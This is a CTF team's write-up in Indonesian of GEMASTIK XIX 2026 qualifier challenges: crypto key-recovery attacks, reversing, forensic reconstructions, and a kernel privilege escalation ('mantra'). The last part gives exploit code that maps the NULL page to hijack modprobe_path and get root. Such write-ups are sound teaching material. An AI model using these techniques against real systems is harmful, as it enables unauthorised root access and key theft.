H
Kembali ke Works
Writeup

Write-Up: GEMASTIK XIX 2026 (Babak Penyisihan)

GEMASTIK XIX 2026 (Penyisihan)
ctfteamcryptoreverseforensicspwnweb
Write-Up: GEMASTIK XIX 2026 (Babak Penyisihan)

Writeup tim DOSCOM Zero Day Scholars — 13 challenge terselesaikan di 5 kategori (crypto, reverse, forensics, pwn/kernel, web) pada babak penyisihan GEMASTIK XIX 2026 Keamanan Siber.

GEMASTIK XIX 2026 — Keamanan Siber (Babak Penyisihan)

Writeup tim DOSCOM Zero Day Scholars: sanzxcte, nexsus404 (Huga Hazimulfikri Nawawi), dan x0rr-dan. 13 challenge terselesaikan di 5 kategori — crypto, reverse, forensics, pwn/kernel, dan web.

Penanda solver di tiap bagian: nexsus404 (saya), sanzxcte, x0rr-dan.


Daftar Isi

Crypto

ChallengePoinSolver
Nonce-nse500nexsus404
TZKS499x0rr-dan
Ecliprime100sanzxcte
common-encoding100sanzxcte

Reverse

ChallengePoinSolver
hexlock500nexsus404
wraith116sanzxcte

Forensics

ChallengePoinSolver
Tombstone500nexsus404
Afterimage473sanzxcte
Ghost in the Core384nexsus404
Cinder100nexsus404

Pwn / Kernel

ChallengePoinSolver
mantra481nexsus404

Web

ChallengePoinSolver
BMN498x0rr-dan
Wormhole408x0rr-dan

1. Nonce-nse

crypto · 500 poin · by ac3 · diselesaikan oleh nexsus404

Sebuah sistem meninggalkan jejak dari banyak tanda tangan digital. Di antara angka-angka yang terlihat acak, ada sesuatu yang tidak beres. Temukan apa yang sebenarnya terjadi pada sistem tsb.

Attachment cuma satu file: challenge.py. Judulnya main kata — Nonce-nse kedengeran kayak nonsense, dan deskripsinya nyebut "tidak beres" pada tanda tangan digital. Dari situ sudah bisa ditebak arahnya ke nonce ECDSA yang bermasalah.

Modal soal Nonce-nse

1.1 Reconnaissance

$ grep -nE "^n =|nonce_bits_hint" challenge.py
6:n = 115792089237316195423570985008687907852837564279074904382605163141518161494337
16:nonce_bits_hint = 160

$ grep '"r":' challenge.py | sort | uniq -d
                           # kosong, berarti nggak ada r yang sama

Recon Nonce-nse

Tiga hal yang dicatat: kurvanya secp256k1 (order n cocok persis dengan standar), nonce_bits_hint = 160 padahal n panjangnya 256 bit — jadi tiap nonce k cuma 160 bit dengan bias 96 bit, dan semua r unik jadi ini bukan nonce reuse biasa.

1.2 Analisis — Hidden Number Problem + LLL

Persamaan ECDSA s = k⁻¹(h + r·d) mod n disusun ulang jadi linier terhadap d:

k = a + t·d (mod n),   dengan a = s⁻¹h,  t = s⁻¹r

a dan t bisa dihitung dari data tanda tangan, d dan k tidak diketahui, tapi k kecil (k < B = 2^160). Bentuk "cari d dari banyak (aᵢ, tᵢ) yang bikin aᵢ + tᵢd mod n selalu kecil" itu persis Hidden Number Problem, diselesaikan dengan membangun lattice yang menyimpan vektor pendek lalu menjalankan LLL.

Basis lattice (m+2) × (m+2) untuk m = 40 tanda tangan, dengan baris modulus n, baris t, dan baris a (di-recenter — aᵢ − B/2 — supaya norma targetnya turun sekitar setengah). Rule of thumb jumlah tanda tangan m ≳ n_bits / bias_bits ≈ 3; soal memberi 40, jadi longgar banget, LLL biasa sudah cukup tanpa BKZ.

Private key diambil dari baris hasil LLL yang entri terakhirnya ±B:

d = ± v[m] · n / B   (mod n)

Dicoba dua tanda, diverifikasi ke d·G == Q.

1.3 Exploitation

A, T = [], []
for sg in signatures:
    si = inverse_mod(sg["s"], n)
    A.append((si * sg["h"]) % n)      # a_i
    T.append((si * sg["r"]) % n)      # t_i
A = [(a - B/2) % n for a in A]        # recentering

M = Matrix(QQ, m+2, m+2)
for i in range(m): M[i, i] = n
for i in range(m):
    M[m,   i] = T[i]
    M[m+1, i] = A[i]
M[m, m]     = QQ(B)/QQ(n)
M[m+1, m+1] = B
L = M.LLL()

for row in L:
    for sign in (1, -1):
        val = sign * row[m]
        if (val * n / B) in ZZ:
            d = int(ZZ(val * n / B) % n)
            if d and d * G_pt == Q_pt: found = d

Setelah d ketemu, kunci AES diturunkan lewat derive_key(d) (HKDF-SHA256, sudah ada di file soal), lalu didekripsi pakai decrypt_and_verify — tag GCM sekaligus jadi bukti kuncinya benar.

Solver jalan sampai flag keluar

Flag: GEMASTIK19{hnp_sh0rt_b14s3d_n0nc3_l4tt1c3_g4t3d_kdf}

Catatan. Nonce yang kependekan itu sama bahayanya dengan nonce yang dipakai ulang — bias 96 bit dari 256 sudah cukup membocorkan kunci penuh dari beberapa tanda tangan saja. Kalau ketemu X_bits_hint, msb, lsb, atau "partial nonce" di soal crypto, langsung curiga HNP/LLL. Bug sejenis ini pernah beneran terjadi: PS3 (nonce konstan), Android SecureRandom 2013, dompet Bitcoin dengan RNG jelek.


2. TZKS

crypto · 499 poin · by panitia · diselesaikan oleh x0rr-dan

"Last year, my friend's thesis was about testing some kind of protocol... I don't really understand all the technical stuff about it. I dont have the main source also. Maybe... you can bypass it?!"

Modal soal TZKS

2.1 Reconnaissance

Attachment .hlpsl — HLPSL (High-Level Protocol Specification Language), bahasa untuk verifikasi formal protokol keamanan (AVISPA), cocok dengan petunjuk "friend's thesis was about testing some kind of protocol". Empat baris komentar di file memberi seluruh wire format (enroll, enroll_open, prove, auth, auth_resp), dan server mengirim parameter Module-LWE (n=256 q=8380451 k=4 l=4 eta=2 gamma=131072 tau=39) saat connect — mirip Dilithium, tapi q = 8380451 bukan 8380417 milik Dilithium asli dan bukan NTT-friendly, jadi seluruh aritmetika ring harus dikerjakan manual.

2.2 Bug 1 — Fiat-Shamir rusak (w tidak mengikat)

Server mengirim c0 lebih dulu, baru menerima w bersama z1/z2 dalam satu pesan. Padahal seluruh keamanan Fiat-Shamir bergantung pada w yang mengikat sebelum tantangan keluar. Tinggal dibalik urutan berpikirnya:

ambil   z1 = 0, z2 = 0
maka    w = -c0 * t
cek     A*0 + 0 == (-c0*t) + c0*t == 0     benar

Norma z1/z2 nol, lolos juga kalau ada pengecekan batas. Terotorisasi tanpa mengetahui apa pun.

2.3 Bug 2 — nonce reuse di prove membocorkan witness

Y diturunkan dari (S, E, Label) saja tanpa unsur acak, tapi C selalu baru tiap panggilan. Dua proof pada label yang sama memakai nonce yang persis sama dengan tantangan berbeda:

z1 - z2 = (c1 - c2) * u        (y lenyap)

u = (z1 - z2) / (c1 - c2) diselesaikan di R_q sebagai sistem linier 256×256 memakai matriks negacyclic dari (c1 - c2). Empat label memberi 1024 persamaan untuk 1024 variabel s (l*n = 4*256), diselesaikan dengan eliminasi Gauss mod q. Verifikasi tanpa perlu bertanya ke server: norma tak hingga s dan e = t - A*s sama-sama tepat 2 (= eta) — kalau salah, normanya akan tersebar acak mendekati q/2.

2.4 Exploitation

Dengan s dan e di tangan, jalankan protokol secara jujur:

w = A*y1 + y2                  -> kirim
terima c
z1 = y1 + c*s
z2 = y2 + c*e                  -> kirim
[+] s dipulihkan, norma tak hingga = 2 (eta = 2)
[+] e = t - A*s, norma tak hingga = 2 (eta = 2)
[+] norma tak hingga z = 130924 (batas gamma = 131072)
[+] FLAG: GEMASTIK19{r353t_th3_pr0v3r_l34k_m0dul3_lw3_w1tn3ss_th3n_1mp3rs0n4t3}

Flag: GEMASTIK19{r353t_th3_pr0v3r_l34k_m0dul3_lw3_w1tn3ss_th3n_1mp3rs0n4t3}

Referensi: HLPSL/AVISPA · Module-LWE/Dilithium · Fiat-Shamir transform


3. Ecliprime

crypto · 100 poin · by ac3 · diselesaikan oleh sanzxcte

Saat gerhana menutupi sebagian besar bilangan prima, jejak kecilnya masih tertinggal dalam bayangan. Sebuah pesan telah diamankan menggunakan RSA dan enkripsi berlapis, tetapi salah satu faktor penyusunnya tidak sepenuhnya tersembunyi.

Modulus RSA 1023 bit (p, q masing-masing ~512 bit), dan p_high diberikan — 512 bit dengan 200 bit bagian bawah bernilai nol. Variabel oaep_ciphertext di file soal ternyata umpan, tidak pernah dipakai fungsi penurunan kunci; kunci AES diturunkan langsung dari faktor prima p lewat HKDF-SHA256.

Coppersmith's Method

Karena sebagian besar bit p sudah diketahui (p_high) dan cuma menyisakan 200 bit tak diketahui (M = 200), sementara batas teoretis Coppersmith untuk pemulihan bit parsial faktor adalah setengah panjang bit faktornya (≤256 bit untuk p 512 bit) — M = 200 masih aman di bawah batas itu.

P.<x> = PolynomialRing(Zmod(N))
f = (p_high + x).monic()
roots = f.small_roots(X=2^M, beta=0.4, epsilon=0.02)

p = p_high + int(roots[0])
assert N % p == 0
key = challenge.derive_key(int(p))
flag = AES.new(key, AES.MODE_GCM, nonce=...).decrypt_and_verify(ciphertext, tag)

Solver jalan sampai flag keluar

Flag: GEMASTIK19{c0pp3rsm1th_g4t3d_kdf_d3c0y_0aep_n34r_th3_b0und}


4. common-encoding

crypto · 100 poin · by wondping0 · diselesaikan oleh sanzxcte

Did you know basic encoding? Need deleting spaces? howd?

Ciphertext-nya diawali S, diakhiri Z, dipisah blok pakai delimiter DW, dan tiap blok cuma berisi karakter O (=1) dan H (=0) sebagai representasi biner. Alur dekode: buang marker, split delimiter, tiap blok biner ke desimal ke karakter ASCII, hasil gabungannya adalah string hex, decode sekali lagi hex ke ASCII untuk dapat flag akhir.

core_data = ciphertext[1:-1]
blocks = core_data.split("DW")
binary_chars = [chr(int(b.replace('O','1').replace('H','0'), 2)) for b in blocks if b]
hex_string = "".join(binary_chars)
flag = bytes.fromhex(hex_string).decode('utf-8')

Solver jalan sampai flag keluar

Flag: GEMASTIK19{TUTOR!!_submit-crypto-flag_D0ng}


5. hexlock

reverse · 500 poin · by wondping0 · diselesaikan oleh nexsus404

Line to codes? how to use: ./hexlock 'GEMASTIK19{...}'

Attachment: hexlock, ELF 64-bit statis stripped ~1.5 MB — flag checker, jawab Correct! atau Wrong..

Modal soal hexlock

5.1 Reconnaissance

$ strings -n 8 hexlock | grep -aoE "runtime\.|GCC:"   # ada runtime.* -> binary Go
$ readelf -S hexlock | grep gopclntab
  [ 6] .gopclntab  PROGBITS  00000000004fbc60 ...

Recon hexlock

Binary Go, statis dan stripped. Magic .gopclntab dipatch (bukan magic Go mana pun), tapi nfunc = 1915 dan textStart cocok dengan VA .text — layoutnya masih standar, cuma nama paket teracak. Ciri khas garble. Dari 1915 fungsi cuma 383 yang masih punya nama; di antaranya ada method .Seal (AEAD/kripto) dan tipe debug/elf (program baca ELF, kemungkinan dirinya sendiri).

5.2 Analisis

Nama main.main sudah hilang, jadi dicari lewat string: header Wrong/Correct di .rodata, lalu grep disassembly untuk lea yang menunjuk ke situ. Alur checker-nya:

panjang input harus 44  (GEMASTIK19{ + 32 char isi + })
call fn_key    -> hasilnya 16 byte (kunci AES)
call fn_seal   -> Seal(input) -> blob
constant-time compare vs blob 66 byte

Checkernya: AES-128-GCM Seal(input) == blob 66 byte — panjang flag = 50 (66 − 16 tag).

Bagian yang bikin mentok. Key hasil breakpoint gdb dipakai buat decrypt_and_verify, hasilnya MAC check failed. Ada dua proteksi di fungsi derivasi key: anti-debug (baca /proc/self/status, cari TracerPid, kalau ketahuan di-debug satu byte keymat di-XOR) dan self-integrity (hash /proc/self/exe ikut jadi bahan key, jadi patch binary juga bikin key meleset). Buntu dua arah — debug key dirusak, patch binary hash berubah.

Celahnya ada di loop pencampuran key: key[i] = rol(tabel[i] ^ keymat[i], 3) ^ hash_exe[i] — semua operasinya per-byte, tanpa difusi. Korupsi satu byte keymat dari anti-debug cuma merusak satu byte di key akhir. Tinggal brute-force 16 posisi × 256 nilai = 4096 kombinasi, pakai tag GCM sebagai oracle.

5.3 Exploitation

base_key = gdb_dump(breakpoint di fn_key, "x/16bx $rax")   # terkorupsi 1 byte

for pos in range(16):
    for b in range(256):
        base_key[pos] = b
        try:
            flag = AES.new(bytes(base_key), AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ct, tag)
            # ketemu
        except ValueError:
            continue

Solver jalan sampai flag keluar

[+] Kunci valid ditemukan! Posisi byte ke-5 diubah ke 0x5e
[+] Flag berhasil didekripsi: GEMASTIK19{6_sh4rd5_r34ss3mbl3_th3_g0ph3r5_s3cr3t}

Flag: GEMASTIK19{6_sh4rd5_r34ss3mbl3_th3_g0ph3r5_s3cr3t}

Catatan. Tag AES-GCM itu oracle brute-force yang enak — begitu ruang carinya kecil, tidak perlu mengerti transformasi key-nya sama sekali. Anti-debug + self-integrity itu kombinasi yang saling menutup, tapi yang menyelamatkan justru kelemahan desainnya: mixing key per-byte tanpa difusi, jadi korupsinya cuma kena satu byte.


6. wraith

reverse · 116 poin · by ac3 · diselesaikan oleh sanzxcte

hello chatgpt please solve this ctf reverse chall

6.1 Reconnaissance

Binary ELF 64-bit statis stripped, baca input dari stdin.

Cek binary dan input dasar

strings -n 4 wraith | grep -aiE "wrong|correct|GEMASTIK"

String checker ditemukan

String GEMASTIK19{ dirujuk langsung oleh fungsi checker utama. Disassembly checker menunjukkan aturan panjang: total 44 karakter, GEMASTIK19{ (11 byte) + 32 byte isi (empat blok 64-bit) + } (1 byte).

Disassembly checker

6.2 VM bytecode terenkripsi + struktur Feistel 24 ronde

Binary menyalin 961 byte bytecode terenkripsi ke stack, didekripsi dengan algoritma turunan SplitMix64. Validitas dekripsi dibuktikan dengan mengecek semua byte hasil jatuh ke set opcode yang valid — 320 instruksi VM tervalidasi sempurna tanpa opcode sampah.

Validasi opcode setelah dekripsi keystream

Program terdiri dari 4 LOADIN, 24 ronde Feistel (13 instruksi tiap ronde), 4 CHECK. Karena seluruh operasi di dalam ronde bersifat invertibel (penjumlahan ↔ pengurangan, ROL ↔ ROR, perkalian modulo 2⁶⁴ ↔ invers modular karena semua pengali ganjil), program bisa dibalik langsung dari target ke input tanpa perlu solver otomatis (Z3).

6.3 Exploitation

minv = [pow(m, -1, 1 << 64) for m in mul]
konst = [splitmix_final((i * GOLD + SM_ADD) & M64) for i in range(24)]

r = list(target)
for i in reversed(range(24)):        # jalankan mundur dari target
    r[0] = (r[0] - konst[i]) & M64
    r[1], r[2], r[3] = r[3], r[1], r[2]
    r[3] ^= r[2]; r[3] = ror(r[3], 37)
    r[2] = r[2] * minv[i] & M64; r[2] = (r[2] - r[3]) & M64
    r[1] ^= r[0]; r[1] = ror(r[1], 13)
    r[0] = r[0] * minv[i] & M64; r[0] = (r[0] - r[1]) & M64

Hasil dibalik diverifikasi maju (harus cocok dengan target) sekaligus di-pipe langsung ke binary aslinya untuk verifikasi akhir.

Flag terverifikasi ke binary asli

Flag: GEMASTIK19{n3st3d_vm_MUL0_ant1z3_1nv_h4nd!!}


7. Tombstone

forensics · 500 poin · by aodreamer · diselesaikan oleh nexsus404

DLP flagged outbound traffic from a finance workstation, well after hours. We pulled the disk image before anyone could touch it again. Rekonstruksi apa yang terjadi malam itu.

Attachment: fin-ws-04.img (disk image ext4, 48 MB).

Modal soal Tombstone

7.1 Reconnaissance

SOC_NOTE.md bilang jejak gampang sudah dibersihkan (auth.log dipotong, journal di-vacuum, .bash_history hilang). Image dibaca pakai The Sleuth Kit (tanpa mount, biar journal replay tidak merusak bukti):

$ fls -r -p fin-ws-04.img
r/r 40: home/dwi/.bash_history
r/r 41: home/dwi/.python_history
r/r 39: var/tmp/.ICE-unix/1000/.cache-dwi.dat
r/r 34: usr/local/sbin/systemd-timesyncd-helper

Recon Tombstone

usr/local/sbin/systemd-timesyncd-helper itu masquerading — nama niru daemon systemd tapi ditaruh di /usr/local/sbin, ini tool penyerangnya. .cache-dwi.dat di dalam .ICE-unix (harus buat X11 socket) itu payload staging. .bash_history nol byte, tapi .python_history masih utuh dan justru berisi resep serangannya. wtmp/btmp/audit.log selamat karena format biner — penyerang sering lupa itu.

7.2 Analisis — kunci dipecah tiga, disebar di metadata

Dari .python_history: vault key = PBKDF2(cron UPLOAD_ID + xattr tool, salt = crtime tool sebagai epoch), 200000 iterasi, mengenkripsi /home/dwi/finance jadi .cache-dwi.dat (AES-GCM). Tiga sumber kuncinya:

  1. UPLOAD_ID di /etc/cron.d/geoclue-refresh (nyamar jadi config geoclue)
  2. part_b di extended attribute user.upl_b milik tool
  3. salt = crtime inode tool

Dua yang terakhir tidak bisa diambil pakai tsk_recover/cat — harus lewat debugfs -R "stat":

ctime/atime/mtime: 0x63c34200 -- Sun Jan 15 07:00:00 2023   [SERAGAM = di-touch]
crtime: 0x6733bdd4 -- Wed Nov 13 03:43:00 2024              [ASLI, TIDAK DIPALSUKAN]
Extended attributes: user.upl_b (20) = "8f2b6d1a0c7e9a4b3f51"

Ini inti soalnya. Tiga timestamp pertama seragam persis di Januari 2023 (hasil touch), tapi crtime tidak ikut dipalsukan — pas di antara login dan waktu upload. Penyerang memilih crtime sebagai salt justru karena susah dipalsukan, tapi jadinya tidak bisa memalsukan crtime untuk menutupi jejaknya sendiri. Judul "Tombstone" pas sekali. (Umpan: BK_KEY di /etc/cron.d/backup terlihat berpasangan dengan state.enc, tapi .python_history jelas menyebut yang dipakai UPLOAD_ID, bukan BK_KEY.)

7.3 Exploitation

Image tidak di-mount sama sekali — semua pembacaan lewat subprocess debugfs. UPLOAD_ID di-regex dari cron, part_b+crtime diparse dari output debugfs stat, ekstraksi arsip dilakukan di memori (bukan ke disk) untuk aman dari path traversal.

key = PBKDF2-HMAC-SHA256(UPLOAD_ID + part_b, str(crtime), 200000)
plain = AES-256-GCM.decrypt(.cache-dwi.dat, nonce||ct||tag)
gunzip -> tar -> drop_manifest.txt

Solver jalan sampai flag keluar

[+] crtime : 1731444180 -> [REAL / UNALTERED BIRTH TIME]
[+] AES-GCM Decryption successful! Cryptographic tag verified.
vault unlocked -> GEMASTIK19{th3_cl0ck_l13d_but_th3_1n0d3_d1dnt}

Flag: GEMASTIK19{th3_cl0ck_l13d_but_th3_1n0d3_d1dnt}

Catatan. Kunci bisa nangkring di metadata (xattr, crtime), bukan cuma isi file — cat tidak akan menunjukkan itu. crtime adalah timestamp paling susah dipalsukan di ext4 (tidak ada syscall standar untuk mengubahnya); kalau mtime/atime/ctime seragam tapi crtime beda jauh, itu tanda anti-forensik. Mount bisa memicu journal replay yang mengubah metadata — selalu pakai debugfs read-only.


8. Afterimage

forensics · 473 poin · by el es bebe stego merberto · diselesaikan oleh sanzxcte

There was an incident happening in one of our container in our main server. There were only few footprints and one file was stolen.

Attachment: mem.zip → memory.lime (dump memori fisik, format LiME).

8.1 Reconnaissance

magic = 0x4c694d45   # "LiME"

Header LiME terverifikasi

Karena ini dump memori fisik (bukan file image), halaman virtual sebuah proses tidak berurutan di dump ini — konsekuensi yang nanti terasa.

strings -a -n 10 memory.lime | grep -aiE "^Linux version|Debian |Alpine"
strings -a -n 8 memory.lime | grep -aoiE "docker|containerd|runc" | sort | uniq -c

Fingerprint OS dan container runtime

8.2 Merekonstruksi insiden dari scrollback terminal

strings -a -n 6 memory.lime | grep -aoiE "(base64 -d|memfd_create|ld\.so\.preload)"

Jejak base64 -d di scrollback

Tiga indikator langsung menonjol: ld.so.preload (percobaan pasang dynamic linker preload untuk rootkit, sempat gagal berulang), base64 -d (payload didekode dari variabel terminal), memfd_create (eksekusi fileless, menyamar sebagai proses kernel [kworker/u8:2]). Meskipun penyerang sudah history -c, buffer scrollback terminal di memori masih merekam seluruh rangkaian aksinya — judul "Afterimage" merujuk persis ke fenomena ini.

Menelusuri baris di sekitar base64 -d, ditemukan sisa string Base64 utuh yang jadi muatan data curian:

strings -a memory.lime | grep "KEVt/"
KEVt/ztn6l1WUQBRFINKy4Jp/VQ8kzAn/cZ2MlHoZCUAOvRFumQ4KUESHqdXwjbmowc/3389i++Zwpxzav79dikwrqx6/XlyULlASA==

Decode menghasilkan 76 byte ciphertext berentropi tinggi — isi file curian (/srv/app/flag.txt).

Verifikasi panjang blob hasil decode

8.3 Membedah payload dan menemukan kunci

Cari lokasi konstanta sigma ChaCha20 di memori:

strings -a -t x memory.lime | grep "expand 32-byte k"

Lokasi konstanta ChaCha20 di rodata

Karena struktur memori fisik tersebar dan offset statis via dd tidak mengenai blok yang tepat, dilakukan pemindaian entropi di sekitar alamat tersebut untuk menemukan blok kunci dan nonce:

dd if=memory.lime bs=1 skip=$((0x31699f0 - 128)) count=128 | xxd

Dump hex area sekitar konstanta sigma

Kunci dan nonce ChaCha20 teridentifikasi

  • Nonce (12 byte): 5aa2e1ef2bcc80868ad53417
  • Kunci (32 byte): 15d19593e44d3f39bf2fab5e52410d5af1cea024256bd44692a1d033356575c7

8.4 Dekripsi

Catatan kritis RFC 8439. Blok pertama (counter = 0) ChaCha20 secara khusus dicadangkan untuk kunci autentikasi Poly1305. Karena ciphertext ini data murni tanpa tag Poly1305, dekripsi wajib dimulai dari counter = 1 — pakai counter = 0 hasilnya sampah.

cipher = ChaCha20.new(key=key, nonce=nonce)
cipher.seek(1 * 64)          # geser ke counter 1 (RFC 8439)
plaintext = cipher.decrypt(ciphertext)

Dekripsi berhasil, flag keluar

Flag: GEMASTIK19{794dee6920bbafb15b784d6c82ab41a1d8a459fa59e0fd0b6e1aed9bb0175504}


9. Ghost in the Core

forensics · 384 poin · by aodreamer · diselesaikan oleh nexsus404

aether-sensor-07 phoned home once, then went quiet. We caught a core dump of the process mid-flight and the packets that went with it. What got out?

Attachment: SOC_NOTE.md + victim.core.gz + capture.pcap. Proses sensor nyambung ke 127.0.0.1:9000, kirim data, lalu hapus buffer kerjanya — binary-nya sendiri tidak pernah ditulis ke disk, cuma hidup di memori.

Modal soal Ghost in the Core

9.1 Reconnaissance

Dua artefak yang saling melengkapi: core dump proses dan trafik keluarnya. Dari 7 paket TCP di pcap, cuma satu paket yang bawa data: 51 byte.

Recon Ghost in the Core

Tidak ada konstanta kripto standar (expand 32-byte k, AES sbox) di core — cipher-nya custom atau stream cipher sederhana.

9.2 Analisis

Carve binary yang cuma ada di memori. Catatan NT_FILE di core dump menyimpan mapping segmen yang di-load. Lima halaman di-carve dari core lewat magic ELF:

i = d.find(b"\x7fELF", 0x400)
open("sensor","wb").write(d[i:i+0x5000])

strings mengungkap GIO_LAUNCHED_DESKTOP_FILE (env var GNOME yang sah, dipakai menyimpan salt biar tidak mencurigakan) dan explicit_bzero (cocok dengan "wiped its working buffers" di SOC note — versi memset yang tidak dioptimasi compiler, jadi buffer benar-benar terhapus).

Cipher-nya RC4, dipanggil dua kali. Pola KSA (loop 256 + swap) dan PRGA di disassembly, tanpa konstanta ajaib. Lapis 1: kunci 24 byte (fixed(16) dari .rodata || salt(8) dari env, di-hex-decode) mendekripsi blob 37 byte config: H=127.0.0.1|P=9000|S=ccec6519f7e59a83. Lapis 2: secret S dari config (di-hex-decode lagi jadi 8 byte) jadi kunci RC4 untuk 51 byte payload dari pcap.

9.3 Exploitation

salt   = hex_decode( env GIO_LAUNCHED_DESKTOP_FILE )      # 8 byte
key1   = rodata[0x20d0:+16] + salt                        # 24 byte
config = RC4(key1, rodata[0x2040:+37])                    # -> H=...|P=...|S=...
key2   = hex_decode( config["S"] )                        # 8 byte
flag   = RC4(key2, payload_51_byte)

Tidak ada yang dihardcode: payload di-parse dari pcap, salt di-regex dari core, blob konstan dibaca dari binary yang di-carve. Karena RC4 tidak punya tag autentikasi, verifikasi cukup cek hasil akhir bisa di-decode UTF-8 atau tidak.

Solver jalan sampai flag keluar

Flag: GEMASTIK19{gh0st_1n_th3_c0re_rc4_s4lt_fr0m_3nv1r0n}

Catatan. Binary fileless tetap tertangkap di core dump — mapping NT_FILE menunjukkan alamatnya, "never written to disk" bukan berarti hilang. Environment variable adalah tempat sembunyi favorit karena nama yang sah tidak menarik perhatian. RC4 dikenali dari bentuknya (KSA 256 + swap, PRGA S[(S[i]+S[j]) & 0xff]), bukan dari string yang bisa di-grep.


10. Cinder

forensics · 100 poin · by aodreamer · diselesaikan oleh nexsus404

A phone seized during a data leak investigation. All that came back is one chat app's extracted data directory, and nothing in it looks interesting at first.

Attachment: sandbox aplikasi Android com.example.cinder.

Modal soal Cinder

10.1 Reconnaissance

databases/     chat.db (1536 B), chat.db-wal (5392 B), chat.db-shm (32768 B)
files/         avatars/me.png (8 byte, cuma signature PNG tanpa data - umpan)
shared_prefs/  secure_prefs.xml

File -wal/-shm di sebelah .db berarti database ini pakai mode WAL — sering menyimpan jejak transaksi lama, termasuk data yang sudah dihapus tapi belum di-checkpoint. secure_prefs.xml memberi semua bahan kripto terang-terangan (install_key, kdf_salt, kdf_iters=120000, AES-256-GCM). CASE_NOTE.md mewanti-wanti: "Work on a copy; keep the originals intact."

Recon Cinder

10.2 Analisis

Jebakan pertama: jangan buka chat.db langsung. Modul sqlite3 Python otomatis nge-checkpoint saat database dibuka — isi WAL disalin ke db utama dan file WAL-nya hilang. Peringatan "work on a copy" itu beneran teknis.

Struktur pesan protobuf sederhana (field: nama pengirim, nonce 12 byte, ciphertext, tag GCM 16 byte). Kuncinya: install_key mentah tidak jalan, harus diturunkan dulu — PBKDF2("sha256", b64decode(install_key), b64decode(kdf_salt), 120000, 32). AAD template "thread:rowid" di prefs bukan literal, tapi dua placeholder — dicoba beberapa varian dan dibiarkan tag GCM yang memutuskan, yang lolos f"{thread}:{rowid}". Draft GEMASTIK{th1s_dr4ft_n0t3_1s_4_d3c0y} di tabel drafts adalah umpan (format GEMASTIK{ tanpa 19).

WAL-nya yang jadi kunci. Header WAL: page size 512, 10 frame. Field dbsize di frame 4 dan 9 bernilai 6 (commit), sisanya 0 — berarti ada dua transaksi. Merakit ulang state transaksi pertama (frame 0–4) memberi 8 pesan, sementara state akhir cuma 4 — empat pesan di thread kurir sudah dihapus di transaksi kedua, tapi penghapusan itu sendiri jadi transaksi baru dan state sebelumnya tetap nyangkut di WAL.

10.3 Exploitation

chat.db asli dibaca sebagai bytes saja, tiap state transaksi dirakit di memori. Parameter kripto dibaca dari secure_prefs.xml; page size/jumlah frame/transaksi diturunkan dari header WAL, bukan dihardcode.

parse header WAL -> kelompokkan frame per transaksi (batas = frame dengan dbsize > 0)
rakit ulang tiap state transaksi -> dekripsi pesan (AES-256-GCM, AAD f"{thread}:{rowid}")
bandingkan state lama vs baru -> pesan yang dihapus

Solver jalan sampai flag keluar

[DITEMUKAN DI WAL WALKBACK] ID: 12 | Thread: kurir | vault key: GEMASTIK19{n0t_burn3d_just_h1d1ng_1n_th3_w4l}

Flag: GEMASTIK19{n0t_burn3d_just_h1d1ng_1n_th3_w4l}

Catatan. WAL itu seperti tempat sampah yang tidak pernah dikosongkan — menghapus baris justru menambah frame baru, bukan menghilangkan yang lama. Kunci sering nangkring lengkap di aplikasinya sendiri; shared_prefs bernama "secure_prefs" adalah ironi yang beneran sering kejadian di app Android.


11. mantra

pwn / kernel · 481 poin · by hanzo · diselesaikan oleh nexsus404

pemanasan dulu biar panas ya mas. print(10+6) -> 17

Remote: nc 15.232.64.175 13338. Handout: bzImage, rootfs.cpio.gz, mantra.ko, run.sh, System.map. Deskripsinya bercanda "pemanasan", tapi ini kernel exploitation beneran — nama flag-nya sendiri membocorkan bug-nya: not all pointers point somewhere, some point to zero.

Modal soal mantra

11.1 Reconnaissance

Mitigasi dari run.sh:

MitigasiStatusArtinya
KASLRoff (nokaslr)alamat kernel tetap, baca dari System.map
KPTIoff (nopti)tidak menghalangi (bukan ret2usr)
SMEPontidak bisa eksekusi kode userland di ring0
SMAPoffkernel bebas baca/tulis memori userland

Setup korban dari rootfs/init:

sysctl -w vm.mmap_min_addr=0     # <- KUNCI: halaman NULL boleh di-map user
insmod /mantra.ko
chmod 0666 /dev/mantra           # device world-accessible
chown 0:0 /flag.txt; chmod 0400 /flag.txt   # flag root-only

Recon mantra — mitigasi dan setup Recon mantra — device dan permission

Skenario LPE klasik: shell uid 1000, /dev/mantra bisa diakses siapa saja. Yang paling penting: mmap_min_addr=0 — tanpa itu, NULL-deref cuma jadi DoS.

11.2 Analisis — NULL-deref jadi kontrol penuh

Modul tidak stripped, tiga fungsi (open/release/ioctl). Struct 0x20 byte ketebak dari pola kfree:

struct mantra {
    void   *key_ptr;   // +0x00
    size_t  key_len;   // +0x08
    void   *buf_ptr;   // +0x10
    size_t  buf_len;   // +0x18
};

Tiga handler (INIT/SET_KEY/SET_DATA) mengecek private_data != NULL sebelum menyentuh struct. Tapi READ dan XOR langsung men-dereference tanpa cek:

; XOR @ 0xfe
 fe: 48 8b 13     mov rdx,[rbx]      ; key_ptr  <- deref rbx tanpa cek!
; READ @ 0x256
271: 48 8b 43 18  mov rax,[rbx+0x18] ; buf_len  <- deref rbx tanpa cek!

Kalau INIT tidak dipanggil, private_data tetap NULL. Memanggil READ/XOR membuat modul membaca struct dari alamat 0x0 — dan karena mmap_min_addr=0, halaman 0x0 bisa di-mmap dan struct palsu dikontrol penuh.

Dua primitif dari struct palsu: READ = arbitrary read dari buf_ptr, XOR = buf_ptr[i] ^= key_ptr[i % key_len] = arbitrary XOR-write penuh (baca byte lama via READ, hitung key = lama ^ target).

Target: modprobe_path. Kernel memanggil call_usermodehelper(modprobe_path, ...) sebagai root saat gagal eksekusi file dengan magic tak dikenal. Timpa jadi /tmp/pwn, picu, script jalan sebagai root. Alamatnya tetap (nokaslr) dari System.map.

11.3 Exploitation

Dua file: solve_tiny.c (jalan di dalam VM, dikompilasi -nostdlib supaya cuma ~9 KB — upload lewat serial console via base64) + exploit.py (delivery pwntools).

mmap(0, 0x1000, RW, MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0);   // halaman NULL
fake[0]=0x300; fake[1]=9;                    // key_ptr, key_len
fake[2]=0xffffffff82b3f580; fake[3]=9;       // buf_ptr=modprobe_path, buf_len
ioctl(fd, READ, {uptr:0x200, len:9});        // baca "/sbin/mod"
for i: key[i] = old[i] ^ "/tmp/pwn"[i];      // hitung XOR key
ioctl(fd, XOR, 0);                           // modprobe_path -> "/tmp/pwn"
fork()+execve("/tmp/dummy");                 // gagal exec -> kernel jalanin /tmp/pwn sbg root

